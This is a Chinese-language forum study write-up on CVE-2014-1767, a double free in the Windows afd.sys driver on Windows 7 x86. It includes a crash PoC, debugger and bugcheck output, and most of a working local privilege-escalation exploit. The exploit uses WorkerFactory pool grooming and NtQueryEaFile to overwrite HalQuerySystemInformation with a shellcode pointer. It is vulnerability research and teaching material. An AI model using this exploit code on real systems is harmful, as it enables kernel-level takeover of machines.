CVE-2014-1767提权漏洞学习笔记
2022-9-26 18:8:16 Author: 看雪学苑(查看原文) 阅读量:11 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:1900


前言

1.漏洞描述

afd.sys驱动用于支持Win Socket应用程序。由于afd!AfdReturnTpInfo函数调用IoFreeMdl函数释放MDL内存的时候,没有及时将指针清空,导致再次调用的时候会再次释放相同的内存地址,导致双重释放的错误。通过WorkerFatory对象占有释放的内存,利用相关的函数可以实现一次任意地址写入,实现修改关键函数来实现提权。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg


漏洞分析

1.POC代码分析

以下是该漏洞的POC代码:

void POC_CVE_2014_1767(){    WSADATA WSAData;    SOCKET s;    SOCKADDR_IN sa;    int ierr;
// 初始化通信的设备句柄 WSAStartup(0x2, &WSAData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); memset(&sa, 0, sizeof(sa)); sa.sin_port = htons(135); sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); sa.sin_family = AF_INET; ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
char outBuf[100]; DWORD bytesRet;
DWORD targetSize = 0x310; DWORD virtualAddress = 0x13371337; DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF - (virtualAddress & 0xFFF); DWORD inbuf1[100];
memset(inbuf1, 0, sizeof(inbuf1)); inbuf1[6] = virtualAddress; inbuf1[7] = mdlSize; inbuf1[10] = 1;
// 第一次通信 DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);
DWORD inbuf2[100]; memset(inbuf2, 0, sizeof(inbuf2)); inbuf2[0] = 1; inbuf2[1] = 0x0AAAAAAA; // 第二次通信 DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);}

触发漏洞的关键就是两次调用DeviceIoControl函数来实现用户层和内核层的I/O通信,函数定义如下,其中第二个参数为控制码,第三个参数为传入内核从的输入数据,这两个参数也是触发此次漏洞的关键。

BOOL WINAPI DeviceIoControl(HANDLE hDevice,                            DWORD dwIoControlCode,                            LPVOID lpInBuffer,                            DWORD nInBufferSize,                            LPVOID lpOutBuffer,                            DWORD nOutBufferSize,                            LPDWORD lpBytesReturned,                            LPOVERLAPPED lpOverlapped);

2.静态调试

对于每一个驱动,在内核中都会有一个对应的DRIVER_OBJECT对象,该结构体定义如下:

#define IRP_MJ_MAXIMUM_FUNCTION         0x1b
typedef struct _DRIVER_OBJECT { CSHORT Type; CSHORT Size; PDEVICE_OBJECT DeviceObject; ULONG Flags; PVOID DriverStart; ULONG DriverSize; PVOID DriverSection; PDRIVER_EXTENSION DriverExtension; UNICODE_STRING DriverName; PUNICODE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PDRIVER_STARTIO DriverStartIo; PDRIVER_UNLOAD DriverUnload; PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];} DRIVER_OBJECT;typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;

其中最后一个成员MajorFunction数组保存了不同的派遣函数用于处理用户层的通信要求,其中与调用DeviceIoControl进行通信对应的派遣函数保存于MajorFunction数组的0xE下标中。

#define IRP_MJ_DEVICE_CONTROL           0x0e

从afd.sys的DriverEntry函数中可以看到驱动创建了"\\Device\\Afd"设备对象:

将MajorFunction数组下标0xE的派遣函数赋值为AfdDispatchDeviceControl函数,所以POC调用DeviceIoControl进行和内核进行通信的时候,就会调用该函数。

用户层和内核层之间的信息传递通过IRP结构体实现,该结构体定义如下:

kd> dt _IRPnt!_IRP   +0x000 Type             : Int2B   +0x002 Size             : Uint2B   +0x004 MdlAddress       : Ptr32 _MDL   +0x008 Flags            : Uint4B   +0x00c AssociatedIrp    : <unnamed-tag>   +0x010 ThreadListEntry  : _LIST_ENTRY   +0x018 IoStatus         : _IO_STATUS_BLOCK   +0x020 RequestorMode    : Char   +0x021 PendingReturned  : UChar   +0x022 StackCount       : Char   +0x023 CurrentLocation  : Char   +0x024 Cancel           : UChar   +0x025 CancelIrql       : UChar   +0x026 ApcEnvironment   : Char   +0x027 AllocationFlags  : UChar   +0x028 UserIosb         : Ptr32 _IO_STATUS_BLOCK   +0x02c UserEvent        : Ptr32 _KEVENT   +0x030 Overlay          : <unnamed-tag>   +0x038 CancelRoutine    : Ptr32     void    +0x03c UserBuffer       : Ptr32 Void   +0x040 Tail             : <unnamed-tag>      +0x000 Overlay          : <unnamed-tag>         +0x000 DriverContext    : [4] Ptr32 Void         +0x010 Thread           : Ptr32 _ETHREAD         +0x014 AuxiliaryBuffer  : Ptr32 Char         +0x018 ListEntry        : _LIST_ENTRY         +0x020 CurrentStackLocation : Ptr32 _IO_STACK_LOCATION         +0x020 PacketType       : Uint4B         +0x024 OriginalFileObject : Ptr32 _FILE_OBJECT

偏移0x60指向_IO_STACK_LOCATION结构体,该结构体定义如下:

kd> dt _IO_STACK_LOCATION -rnt!_IO_STACK_LOCATION   +0x000 MajorFunction    : UChar   +0x001 MinorFunction    : UChar   +0x002 Flags            : UChar   +0x003 Control          : UChar   +0x004 Parameters       : <unnamed-tag>      +0x000 DeviceIoControl  : <unnamed-tag>         +0x000 OutputBufferLength : Uint4B         +0x004 InputBufferLength : Uint4B         +0x008 IoControlCode    : Uint4B         +0x00c Type3InputBuffer : Ptr32 Void   +0x014 DeviceObject     : Ptr32 _DEVICE_OBJECT   +0x018 FileObject       : Ptr32 _FILE_OBJECT   +0x01c CompletionRoutine : Ptr32     long    +0x020 Context          : Ptr32 Void

其中偏移0x8的InputBufferLength为调用DeviceIoControl函数时指定的输入数据的长度,偏移0xC为指定的dwIoControlCode,偏移0x10保存的是输入数据的指针。AfdDispatchDeviceIoControl函数的实现如下,可以很容易看出,该函数通过IoControlCode来计算一个下标,从AfdIoctlTable中取出该下标对应的数值来和IoControlCode进行验证,通过验证后,从AfdIrpCallDispatch数值中取出要执行的函数,在调用取出的函数。

AfdIoctlTable保存了不同的IoControlCode,其中可以发现POC中使用的两个控制码:

AfdIrpCallDispatch中保存了不同的执行函数,根据POC使用的控制码对应在AfdIoctlTable中的下标可以知道两次通信会分别调用AfdTransmitFile和AfdTransmitPackets函数:

这两个函数的定义如下:

NTSTATUS __fastcall AfdTransmitFile(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)NTSTATUS __fastcall AfdTransmitPackets(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)

根据定义可以知道,这两个函数的调用约定是__fastcall,且都有两个参数,所以上面IDA反编译的结果在调用函数部分是有错误的,这里可以直接通过看汇编代码来看相应的参数传递,这里需要记一下,IoControlCode保存在edi中,要调用的函数保存在esi中,这个后面动态调试要用。


要触发漏洞,AfdTransmitFile需要绕过三处验证,第一处和调用DeviceIoControl时第一个参数,即要通信的设备有关,当它为Socket套接字就可以绕过,第二处和第三处就是和输入数据和输入长度有关:

通过验证以后就会调用AfdTliGetIpInfo来申请tpInfo:

tpInfo通过ExAllocateFromNPagedLookasideList来申请内存,其中偏移0x20处保存了通过ExAllocatePoolWithQuotaTag申请的tpInfoElement类型的数组,这里可以看出每个成员大小为0x18,参数指定了数组元素个数,这里为3:

ExAllocateFromNPagedLookasideList的实现如下,可以看出是通过链表的方式实现,所以申请的tpInfo很有可能是上一次释放时候所指的内存:

AfdTransmitFile申请完tpInfo内存之后,会从输入数据中取出地址和长度,然后调用IoAllocateMdl申请MDL内存,保存在tpInfoElement偏移0xC处,之后会调用函数MmProbeAndLockPages:

在POC中,由输入数据指定的地址和长度是不合法的,这就会导致MnProbeAndLockPages调用出现错误,从而导致AfdReturnTpInfo函数的调用:


AfdReturnTpInfo函数会调用IoFreeMdl来释放保存在tpInfoElement偏移0xC处的MDL内存。然而这里释放之后没有及时清空指针,而tpInfo在释放之后会挂回原来的链表中,此时如果可以再次申请tpInfo就会申请到同一块内存,其中保存的数据是原来的数据,如果有办法再次申请tpInfo,且对其进行初始化之前就再次进入AfdReturnTpInfo就可以释放相同的MDL内存造成双重释放:

POC是通过AfdTransmitPackets来造成第二次释放,函数前面的部分和之前差不多,也是进行几个验证:

验证通过就会使用输入数据偏移0x4处保存的数值作为参数调用AfdTliGetTpInfp:

在POC中第二次调用时候这个参数被指定为0x0AAAAAAA,因此,当AfdTliGetTpInfo申请数组的时候,会因为需要申请的内存过大(0x18 * 0x0AAAAAAA)导致错误,调用AfdReturnToInfo。而此时的tpInfo已经从链表中成功取出上一次挂入链表的内存,且相关成员没有被初始化,这个时候在AfdReturnTpInfo中释放MDL内存的时候就会释放同一块内存。

3.动态调试

以下是在WinDbg中,afd.sys驱动的信息,其中相关的信息和前面静态分析的结果一样:

kd> lmDvmafdBrowse full module liststart    end        module name924f1000 9254b000   afd        (deferred)                 Image path: \SystemRoot\system32\drivers\afd.sys    Image name: afd.sys    Browse all global symbols  functions  data    Timestamp:        Sat Nov 20 16:40:00 2010 (4CE78960)    CheckSum:         00054E9B    ImageSize:        0005A000    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4kd> !drvobj afd 2Driver object (86f16770) is for: \Driver\AFD
DriverEntry: 9253563d afd!GsDriverEntryDriverStartIo: 00000000 DriverUnload: 9250a5b6 afd!AfdUnloadAddDevice: 00000000
Dispatch routines:[00] IRP_MJ_CREATE 92514190 afd!AfdDispatch[01] IRP_MJ_CREATE_NAMED_PIPE 92514190 afd!AfdDispatch[02] IRP_MJ_CLOSE 92514190 afd!AfdDispatch[03] IRP_MJ_READ 92514190 afd!AfdDispatch[04] IRP_MJ_WRITE 92514190 afd!AfdDispatch[05] IRP_MJ_QUERY_INFORMATION 92514190 afd!AfdDispatch[06] IRP_MJ_SET_INFORMATION 92514190 afd!AfdDispatch[07] IRP_MJ_QUERY_EA 92514190 afd!AfdDispatch[08] IRP_MJ_SET_EA 92514190 afd!AfdDispatch[09] IRP_MJ_FLUSH_BUFFERS 92514190 afd!AfdDispatch[0a] IRP_MJ_QUERY_VOLUME_INFORMATION 92514190 afd!AfdDispatch[0b] IRP_MJ_SET_VOLUME_INFORMATION 92514190 afd!AfdDispatch[0c] IRP_MJ_DIRECTORY_CONTROL 92514190 afd!AfdDispatch[0d] IRP_MJ_FILE_SYSTEM_CONTROL 92514190 afd!AfdDispatch[0e] IRP_MJ_DEVICE_CONTROL 92512281 afd!AfdDispatchDeviceControl[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL 924f2831 afd!AfdWskDispatchInternalDeviceControl[10] IRP_MJ_SHUTDOWN 92514190 afd!AfdDispatch[11] IRP_MJ_LOCK_CONTROL 92514190 afd!AfdDispatch[12] IRP_MJ_CLEANUP 92514190 afd!AfdDispatch[13] IRP_MJ_CREATE_MAILSLOT 92514190 afd!AfdDispatch[14] IRP_MJ_QUERY_SECURITY 92514190 afd!AfdDispatch[15] IRP_MJ_SET_SECURITY 92514190 afd!AfdDispatch[16] IRP_MJ_POWER 92514190 afd!AfdDispatch[17] IRP_MJ_SYSTEM_CONTROL 92510834 afd!AfdEtwDispatch[18] IRP_MJ_DEVICE_CHANGE 92514190 afd!AfdDispatch[19] IRP_MJ_QUERY_QUOTA 92514190 afd!AfdDispatch[1a] IRP_MJ_SET_QUOTA 92514190 afd!AfdDispatch[1b] IRP_MJ_PNP 92514190 afd!AfdDispatch
Fast I/O routines:FastIoRead 9250a288 afd!AfdFastIoReadFastIoWrite 9250a372 afd!AfdFastIoWriteFastIoUnlockAll 9250ea3e afd!AfdSanFastUnlockAllFastIoDeviceControl 92503005 afd!AfdFastIoDeviceControl

接下来在AfdDispatchDeviceControl中的call esi处下条件断点来查看第一次通信的执行情况,编译运行POC就可以看到,此时esi保存是AfdTransmitFile函数地址,在AfdTransmit中调用IoAllocateMdl来申请MDL内存处下断点,可以看到此时要申请的内存为输入数据偏移0x18指定的地址:

继续向下运行会因为对不合法地址MnProbeAndLockPages而产生异常,进而执行IoFreeMdl,此时释放的MDL内存地址为0x87C55150:

继续上面步骤,可以看到第二次通信要执行的是AfdTransmitPackets函数,当执行ExAllocatePoolWithQuotaTag的时候,因为要申请的内存过大导致异常产生,进而执行IoFreeMdl来释放内存,而此时要释放的内存地址还是0x87C55150这个在上面刚被释放的内存,这就会导致双重释放产生BSOD错误:

继续运行系统就会出现蓝屏,以下是部分错误信息:

kd> !analyze -vConnected to Windows 7 7601 x86 compatible target at (Wed Jul 27 11:26:29.882 2022 (UTC + 8:00)), ptr64 FALSE
******************************************************************************** ** Bugcheck Analysis ** ********************************************************************************
BAD_POOL_CALLER (c2)The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.Arguments:Arg1: 00000007, Attempt to free pool which was already freedArg2: 00001097, Pool tag value from the pool headerArg3: 08bd0019, Contents of the first 4 bytes of the pool headerArg4: 87C55150, Address of the block of pool being deallocated
PROCESS_NAME: exp.exe
STACK_TEXT: nt!RtlpBreakWithStatusInstructionnt!KiBugCheckDebugBreak+0x1cnt!KeBugCheck2+0x68bnt!ExFreePoolWithTag+0x1b1nt!IoFreeMdl+0x70afd!AfdReturnTpInfo+0xadafd!AfdTliGetTpInfo+0x89afd!AfdTransmitPackets+0x12eafd!AfdDispatchDeviceControl+0x3bnt!IofCallDriver+0x63nt!IopSynchronousServiceTail+0x1f8nt!IopXxxControlFile+0x6aant!NtDeviceIoControlFile+0x2ant!KiFastCallEntry+0x12antdll!KiFastSystemCallRetntdll!ZwDeviceIoControlFile+0xcKERNELBASE!DeviceIoControl+0xf6kernel32!DeviceIoControlImplementation+0x80exp!main+0x117 [d:\vs2017\project\exp\exp\exp.cpp @ 59]

以下是要释放的内存情况,可以看到要释放的这个内存处于Free状态:


漏洞利用

1.利用思路

要利用该漏洞,需要用到WokerFactory对象,该对象可以通过以下函数创建,WorkerFactory占0x78大小的内存,在加上0x8大小的_POOL_HEADER和对象头,共会占有0xA0字节:

typedef NTSTATUS(NTAPI *lpfnNtCreateWorkerFactory)(PHANDLE WorkerFactoryHandleReturn,                           ACCESS_MASK DesiredAccess,                           POBJECT_ATTRIBUTES ObjectAttributes,                           HANDLE CompletionPortHandle,                           HANDLE WorkerProcessHandle,                           PVOID StartRoutine,                           PVOID StartParameter,                           ULONG MaxThreadCount,                           SIZE_T StackReserve,                           SIZE_T StackCommit);

对于WorkerFactory对象,可以调用NtSetInformationWorkerFactory,该函数定义如下:

typedef NTSTATUS(NTAPI *lpfnNtSetInformationWorkerFactory)(HANDLE WorkerFactoryHandle,                               LONG WorkerFactoryInformationClass,                                   PVOID WorkerFactoryInformation,                               ULONG WorkerFactoryInformationLength);

该函数从第三个参数中获取要写入的值,调用ObReferenceObjectByHandle获取传入的WorkerFactoryHandle句柄对应的WorkerFactory对象,并执行最后的写入操作:

成功利用该漏洞还需要NtQueryEaFile函数,该函数定义如下:

NTSTATUS __stdcall NtQueryEaFile(HANDLE FileHandle,                                  PIO_STATUS_BLOCK IoStatusBlock,                                  PVOID Buffer,                                  ULONG Length,                                  BOOLEAN ReturnSingleEntry,                                  PVOID EaList,                                  ULONG EaListLength,                                  PULONG EaIndex,                                  BOOLEAN RestartScan);

该函数会调用调用ExAllocatePoolWithQuotaTag来申请EaListLength + 4大小的非分页内存,并将EaList指向的内存区域中的值拷贝到申请的内存区域中:

IoAllocateMdl函数申请内存的时候,要申请的内存大小由参数VirtualAddress和Length决定,所以可以通过这两个参数来决定要申请的内存大小,也就是控制触发漏洞时申请的MDL的大小:

综上可以得到以下结论:

通过控制参数可以控制触发漏洞时申请的MDL内存大小;

NtCreateWokerFactory可以创建共占0xA0大小的WorkerFactory对象,且通过NtSetInformationWorkerFactory可以进行写入操作;

NtQueryEaFile会申请一块可以指定大小的内存,并会向申请的内存中拷贝指定的内容。

所以整个漏洞利用的步骤如下:

1、通过控制参数,让第一次调用DeviceIoControl进行通信时,申请并释放的MDL内存大小为0xA0。

2、调用NtCreateWorkerFactory创建0xA0大小的WorkerFactory对象,该对象会占有上一步释放的MDL内存。

3、调用DeviceIoControl进行第二次通信,释放掉上一步创建的WorkerFactory对象。

4、伪造一个WorkerFactory对象,其中要对对象的起始4字节进行修改,这样可以让调用NtSetInformationWorkerFactory执行写入操作时,可以修改HalQuerySystemInformation。

5、调用NtQueryEaFile函数,将EalistLength指定为0xA0 - 4,这样函数内部调用ExAllocateWithQuotaTag申请内存时,会申请0xA0大小的内存,就会占有第三步释放的WorkerFactory对象的内存。将EaList参数指定为伪造的WorkerFactory,这样NtQueryEaFile在调用memcpy进行内存拷贝的时候,就会将伪造的WorkerFactory对象赋拷贝到申请的内存中,即第三步释放的WorkerFactory对象占有的内存中。

6、调用NtSetInformationWorkerFactory,将第三个参数指向ShellCode,这样NtSetInformationWorkerFactory在进行写入操作时候,会将ShellCode地址写入到想要的地址。

7、调用目标函数实现提权。

2.具体实现

要实现提权,首先需要获取套接字,并对通信时使用的输入数据,需要调用的函数等进行初始化:

SOCKET GetSocket(){    BOOL bRet = TRUE;    WSADATA WSAData;    SOCKET s = INVALID_SOCKET;    SOCKADDR_IN sa;    int ierr;
if (WSAStartup(0x2, &WSAData) != 0) { ShowError("WSAStartup", WSAGetLastError()); goto exit; }
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) { ShowError("socket", WSAGetLastError()); goto exit; }
memset(&sa, 0, sizeof(sa)); sa.sin_port = htons(135); sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); sa.sin_family = AF_INET; ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa)); if (ierr == SOCKET_ERROR) { ShowError("connect", WSAGetLastError()); goto exit; }
exit: return s;}
BOOL Init_CVE_2014_1767(){ BOOL bRet = TRUE; HMODULE hDll = NULL;
// 加载要调用的函数 hDll = LoadLibrary("ntdll.dll"); if (!hDll) { ShowError("LoadLibrary", GetLastError()); bRet = FALSE; goto exit; }
fnNtCreateWorkerFactory = (lpfnNtCreateWorkerFactory)GetProcAddress(hDll, "ZwCreateWorkerFactory"); fnNtQueryEaFile = (lpfnNtQueryEaFile)GetProcAddress(hDll, "ZwQueryEaFile"); fnNtSetInformationWorkerFactory = (lpfnNtSetInformationWorkerFactory)GetProcAddress(hDll, "ZwSetInformationWorkerFactory"); if (!fnNtCreateWorkerFactory || !fnNtQueryEaFile || !fnNtSetInformationWorkerFactory) { ShowError("GetProcAddress", GetLastError()); bRet = FALSE; goto exit; }
// 初始化两次通信用到的输入数据 DWORD virtualAddress = 0x13371337; DWORD length = ((FakeObjSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;
memset(inputBuf1, 0, INPUT_SIZE * sizeof(DWORD)); inputBuf1[6] = virtualAddress; inputBuf1[7] = length; inputBuf1[0xA] = 1;
memset(inputBuf2, 0, INPUT_SIZE * sizeof(DWORD)); inputBuf2[0] = 1; inputBuf2[1] = 0x0AAAAAAA;
// 构造WorkerFactory的头部分 memset(FakeWorkerFactory, 0, FakeObjSize); memcpy(FakeWorkerFactory, ObjHead, 0x28);
// 用于创建WorkerFactory hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4); if (!hCompletionPort) { ShowError("CreateIoCompletionPort", GetLastError()); bRet = FALSE; goto exit; }
exit: return bRet;}

接下来就是执行上面的利用步骤来实现提权:

BOOL Trigger_CVE_2014_1767(HANDLE hDevice){    BOOL bRet = TRUE;
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
if (!pHalQuerySystemInformation) { bRet = FALSE; goto exit; }
// 第一次通信,释放内存 DeviceIoControl(hDevice, 0x1207F, inputBuf1, 0x30, NULL, 0, NULL, NULL);
// 创建WorkerFactory对象占有释放的内存 NTSTATUS status = fnNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0); if (!NT_SUCCESS(status)) { ShowError("fnNtCreateWorkerFactory", status); bRet = FALSE; goto exit; }
// 第二次通信释放WorkerFactory对象占有的内存 DeviceIoControl(hDevice, 0x120C3, inputBuf2, 0x10, NULL, 0, NULL, NULL);
BYTE bBuf[0x14] = { 0 };
// *Object = bBuf *(PDWORD)((ULONG)FakeWorkerFactory + 0x28) = (DWORD)bBuf; // *(PDWORD)(*Object + 0x10) = pHalQuerySystemInformation - 0x1C *(PDWORD)(bBuf + 0x10) = (DWORD)pHalQuerySystemInformation - 0x1C;
IO_STATUS_BLOCK IoStatus;
// 调用函数将构造的FakeWorkerFactory复制到释放的WorkerFactory对象占有的内存 fnNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize - 0x4, NULL, FALSE);
// 调用函数让*(_DWORD *)(*(_DWORD *)(*Object + 0x10) + 0x1C) = value执行 PVOID pTarget = ShellCode; fnNtSetInformationWorkerFactory(hWorkerFactory, 8, &pTarget, sizeof(PVOID));
// 调用函数实现提权 if (!CallNtQueryIntervalProfile()) { bRet = FALSE; goto exit; }
exit: return bRet;}


运行结果

相关代码在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2014-1767.cpp。编译运行即可成功提权:

看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区

2.5折门票限时抢购

峰会官网:https://meet.kanxue.com/kxmeet-6.htm

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458471704&idx=1&sn=7374ced93133efd064bb0e7316cd8087&chksm=b18e7d9286f9f4840a35d6618f2fa625359b1095cd8ca266fc48bfc9576e2ff0d0835b9e4ef0#rd
如有侵权请联系:admin#unsafe.sh